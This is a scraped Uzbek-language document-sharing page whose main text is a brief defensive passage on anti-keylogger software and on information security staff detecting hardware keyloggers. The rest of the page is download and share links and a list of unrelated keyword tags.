Ushbu maqsadlar uchun anti-keyloggerlar o'zlarining o'rnatilgan ekran klaviaturasini o'z ichiga oladi.Uskuna kalitloggerlarini topish, albatta, axborot xavfsizligi xodimlarining ish majburiyatlariga kiritilishi kerak. Shu bilan birga, albatta, apparat keyloggerini o'rnatish ehtimoli ish joyida kiritilgan ma'lumotlarning qiymatiga to'g'ridan-to'g'ri proportsional ekanligini yodda tutish kerak.

Download 1,02 Mb.

Do'stlaringiz bilan baham:
1   2   3   4   5   6   7   8   9




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish